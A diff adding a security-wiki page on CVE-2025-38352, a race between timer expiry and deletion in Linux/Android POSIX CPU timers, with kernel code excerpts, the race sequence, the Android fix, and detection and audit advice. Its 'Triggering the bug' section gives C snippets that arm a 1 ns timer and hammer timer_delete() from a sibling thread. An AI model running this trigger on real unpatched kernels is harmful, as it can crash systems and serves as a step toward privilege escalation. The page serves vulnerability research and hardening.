Race Against Time in the Kernel’s Clockwork

src/SUMMARY.md

@@ -931,3 +931,5 @@
 - [Post Exploitation](todo/post-exploitation.md)
 - [Investment Terms](todo/investment-terms.md)
 - [Cookies Policy](todo/cookies-policy.md)
+
+  - [Posix Cpu Timers Toctou Cve 2025 38352](linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md)

src/linux-hardening/privilege-escalation/README.md

@@ -55,6 +55,13 @@ Tools that could help to search for kernel exploits are:
 [linux-exploit-suggester2.pl](https://github.com/jondonas/linux-exploit-suggester-2)\
 [linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py) (execute IN victim,only checks exploits for kernel 2.x)
 
+New kernel exploit note:
+- POSIX CPU timers TOCTOU race (CVE-2025-38352): expiry vs deletion under task exit can corrupt timer state in kernels with CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n. See details:
+
+{{#ref}}
+linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md
+{{#endref}}
+
 Always **search the kernel version in Google**, maybe your kernel version is written in some kernel exploit and then you will be sure that this exploit is valid.
 
 ### CVE-2016-5195 (DirtyCow)

src/linux-hardening/privilege-escalation/linux-kernel-exploitation/posix-cpu-timers-toctou-cve-2025-38352.md

@@ -0,0 +1,213 @@
+# POSIX CPU Timers TOCTOU race (CVE-2025-38352)
+
+{{#include ../../../banners/hacktricks-training.md}}
+
+This page documents a TOCTOU race condition in Linux/Android POSIX CPU timers that can corrupt timer state and crash the kernel, and under some circumstances be steered toward privilege escalation.
+
+- Affected component: kernel/time/posix-cpu-timers.c
+- Primitive: expiry vs deletion race under task exit
+- Config sensitive: CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n (IRQ-context expiry path)
+
+Quick internals recap (relevant for exploitation)
+- Three CPU clocks drive accounting for timers via cpu_clock_sample():
+  - CPUCLOCK_PROF: utime + stime
+  - CPUCLOCK_VIRT: utime only
+  - CPUCLOCK_SCHED: task_sched_runtime()
+- Timer creation wires a timer to a task/pid and initializes the timerqueue nodes:
+
+```c
+static int posix_cpu_timer_create(struct k_itimer *new_timer) {
+    struct pid *pid;
+    rcu_read_lock();
+    pid = pid_for_clock(new_timer->it_clock, false);
+    if (!pid) { rcu_read_unlock(); return -EINVAL; }
+    new_timer->kclock = &clock_posix_cpu;
+    timerqueue_init(&new_timer->it.cpu.node);
+    new_timer->it.cpu.pid = get_pid(pid);
+    rcu_read_unlock();
+    return 0;
+}
+```
+
+- Arming inserts into a per-base timerqueue and may update the next-expiry cache:
+
+```c
+static void arm_timer(struct k_itimer *timer, struct task_struct *p) {
+    struct posix_cputimer_base *base = timer_base(timer, p);
+    struct cpu_timer *ctmr = &timer->it.cpu;
+    u64 newexp = cpu_timer_getexpires(ctmr);
+    if (!cpu_timer_enqueue(&base->tqhead, ctmr)) return;
+    if (newexp < base->nextevt) base->nextevt = newexp;
+}
+```
+
+- Fast path avoids expensive processing unless cached expiries indicate possible firing:
+
+```c
+static inline bool fastpath_timer_check(struct task_struct *tsk) {
+    struct posix_cputimers *pct = &tsk->posix_cputimers;
+    if (!expiry_cache_is_inactive(pct)) {
+        u64 samples[CPUCLOCK_MAX];
+        task_sample_cputime(tsk, samples);
+        if (task_cputimers_expired(samples, pct))
+            return true;
+    }
+    return false;
+}
+```
+
+- Expiration collects expired timers, marks them firing, moves them off the queue; actual delivery is deferred:
+
+```c
+#define MAX_COLLECTED 20
+static u64 collect_timerqueue(struct timerqueue_head *head,
+                              struct list_head *firing, u64 now) {
+    struct timerqueue_node *next; int i = 0;
+    while ((next = timerqueue_getnext(head))) {
+        struct cpu_timer *ctmr = container_of(next, struct cpu_timer, node);
+        u64 expires = cpu_timer_getexpires(ctmr);
+        if (++i == MAX_COLLECTED || now < expires) return expires;
+        ctmr->firing = 1;                           // critical state
+        rcu_assign_pointer(ctmr->handling, current);
+        cpu_timer_dequeue(ctmr);
+        list_add_tail(&ctmr->elist, firing);
+    }
+    return U64_MAX;
+}
+```
+
+Two expiry-processing modes
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y: expiry is deferred via task_work on the target task
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n: expiry handled directly in IRQ context
+
+```c
+void run_posix_cpu_timers(void) {
+    struct task_struct *tsk = current;
+    __run_posix_cpu_timers(tsk);
+}
+#ifdef CONFIG_POSIX_CPU_TIMERS_TASK_WORK
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+    if (WARN_ON_ONCE(tsk->posix_cputimers_work.scheduled)) return;
+    tsk->posix_cputimers_work.scheduled = true;
+    task_work_add(tsk, &tsk->posix_cputimers_work.work, TWA_RESUME);
+}
+#else
+static inline void __run_posix_cpu_timers(struct task_struct *tsk) {
+    lockdep_posixtimer_enter();
+    handle_posix_cpu_timers(tsk);                  // IRQ-context path
+    lockdep_posixtimer_exit();
+}
+#endif
+```
+
+In the IRQ-context path, the firing list is processed outside sighand
+
+```c
+static void handle_posix_cpu_timers(struct task_struct *tsk) {
+    struct k_itimer *timer, *next; unsigned long flags, start;
+    LIST_HEAD(firing);
+    if (!lock_task_sighand(tsk, &flags)) return;   // may fail on exit
+    do {
+        start = READ_ONCE(jiffies); barrier();
+        check_thread_timers(tsk, &firing);
+        check_process_timers(tsk, &firing);
+    } while (!posix_cpu_timers_enable_work(tsk, start));
+    unlock_task_sighand(tsk, &flags);              // race window opens here
+    list_for_each_entry_safe(timer, next, &firing, it.cpu.elist) {
+        int cpu_firing;
+        spin_lock(&timer->it_lock);
+        list_del_init(&timer->it.cpu.elist);
+        cpu_firing = timer->it.cpu.firing;         // read then reset
+        timer->it.cpu.firing = 0;
+        if (likely(cpu_firing >= 0)) cpu_timer_fire(timer);
+        rcu_assign_pointer(timer->it.cpu.handling, NULL);
+        spin_unlock(&timer->it_lock);
+    }
+}
+```
+
+Root cause: TOCTOU between IRQ-time expiry and concurrent deletion under task exit
+Preconditions
+- CONFIG_POSIX_CPU_TIMERS_TASK_WORK is disabled (IRQ path in use)
+- The target task is exiting but not fully reaped
+- Another thread concurrently calls posix_cpu_timer_del() for the same timer
+
+Sequence
+1) update_process_times() triggers run_posix_cpu_timers() in IRQ context for the exiting task.
+2) collect_timerqueue() sets ctmr->firing = 1 and moves the timer to the temporary firing list.
+3) handle_posix_cpu_timers() drops sighand via unlock_task_sighand() to deliver timers outside the lock.
+4) Immediately after unlock, the exiting task can be reaped; a sibling thread executes posix_cpu_timer_del().
+5) In this window, posix_cpu_timer_del() may fail to acquire state via cpu_timer_task_rcu()/lock_task_sighand() and thus skip the normal in-flight guard that checks timer->it.cpu.firing. Deletion proceeds as if not firing, corrupting state while expiry is being handled, leading to crashes/UB.
+
+Why TASK_WORK mode is safe by design
+- With CONFIG_POSIX_CPU_TIMERS_TASK_WORK=y, expiry is deferred to task_work; exit_task_work runs before exit_notify, so the IRQ-time overlap with reaping does not occur.
+- Even then, if the task is already exiting, task_work_add() fails; gating on exit_state makes both modes consistent.
+
+Fix (Android common kernel) and rationale
+- Add an early return if current task is exiting, gating all processing:
+
+```c
+// kernel/time/posix-cpu-timers.c (Android common kernel commit 157f357d50b5038e5eaad0b2b438f923ac40afeb)
+if (tsk->exit_state)
+    return;
+```
+
+- This prevents entering handle_posix_cpu_timers() for exiting tasks, eliminating the window where posix_cpu_timer_del() could miss it.cpu.firing and race with expiry processing.
+
+Impact
+- Kernel memory corruption of timer structures during concurrent expiry/deletion can yield immediate crashes (DoS) and is a strong primitive toward privilege escalation due to arbitrary kernel-state manipulation opportunities.
+
+Triggering the bug (safe, reproducible conditions)
+Build/config
+- Ensure CONFIG_POSIX_CPU_TIMERS_TASK_WORK=n and use a kernel without the exit_state gating fix.
+
+Runtime strategy
+- Target a thread that is about to exit and attach a CPU timer to it (per-thread or process-wide clock):
+  - For per-thread: timer_create(CLOCK_THREAD_CPUTIME_ID, ...)
+  - For process-wide: timer_create(CLOCK_PROCESS_CPUTIME_ID, ...)
+- Arm with a very short initial expiration and small interval to maximize IRQ-path entries:
+
+```c
+static timer_t t;
+static void setup_cpu_timer(void) {
+    struct sigevent sev = {0};
+    sev.sigev_notify = SIGEV_SIGNAL;    // delivery type not critical for the race
+    sev.sigev_signo = SIGUSR1;
+    if (timer_create(CLOCK_THREAD_CPUTIME_ID, &sev, &t)) perror("timer_create");
+    struct itimerspec its = {0};
+    its.it_value.tv_nsec = 1;           // fire ASAP
+    its.it_interval.tv_nsec = 1;        // re-fire
+    if (timer_settime(t, 0, &its, NULL)) perror("timer_settime");
+}
+```
+
+- From a sibling thread, concurrently delete the same timer while the target thread exits:
+
+```c
+void *deleter(void *arg) {
+    for (;;) (void)timer_delete(t);     // hammer delete in a loop
+}
+```
+
+- Race amplifiers: high scheduler tick rate, CPU load, repeated thread exit/re-create cycles. The crash typically manifests when posix_cpu_timer_del() skips noticing firing due to failing task lookup/locking right after unlock_task_sighand().
+
+Detection and hardening
+- Mitigation: apply the exit_state guard; prefer enabling CONFIG_POSIX_CPU_TIMERS_TASK_WORK when feasible.
+- Observability: add tracepoints/WARN_ONCE around unlock_task_sighand()/posix_cpu_timer_del(); alert when it.cpu.firing==1 is observed together with failed cpu_timer_task_rcu()/lock_task_sighand(); watch for timerqueue inconsistencies around task exit.
+
+Audit hotspots (for reviewers)
+- update_process_times() → run_posix_cpu_timers() (IRQ)
+- __run_posix_cpu_timers() selection (TASK_WORK vs IRQ path)
+- collect_timerqueue(): sets ctmr->firing and moves nodes
+- handle_posix_cpu_timers(): drops sighand before firing loop
+- posix_cpu_timer_del(): relies on it.cpu.firing to detect in-flight expiry; this check is skipped when task lookup/lock fails during exit/reap
+
+Notes for exploitation research
+- The disclosed behavior is a reliable kernel crash primitive; turning it into privilege escalation typically needs an additional controllable overlap (object lifetime or write-what-where influence) beyond the scope of this summary. Treat any PoC as potentially destabilizing and run only in emulators/VMs.
+
+## References
+- [Race Against Time in the Kernel’s Clockwork (StreyPaws)](https://streypaws.github.io/posts/Race-Against-Time-in-the-Kernel-Clockwork/)
+- [Android security bulletin – September 2025](https://source.android.com/docs/security/bulletin/2025-09-01)
+- [Android common kernel patch commit 157f357d50b5…](https://android.googlesource.com/kernel/common/+/157f357d50b5038e5eaad0b2b438f923ac40afeb%5E%21/#F0)
+
+{{#include ../../../banners/hacktricks-training.md}}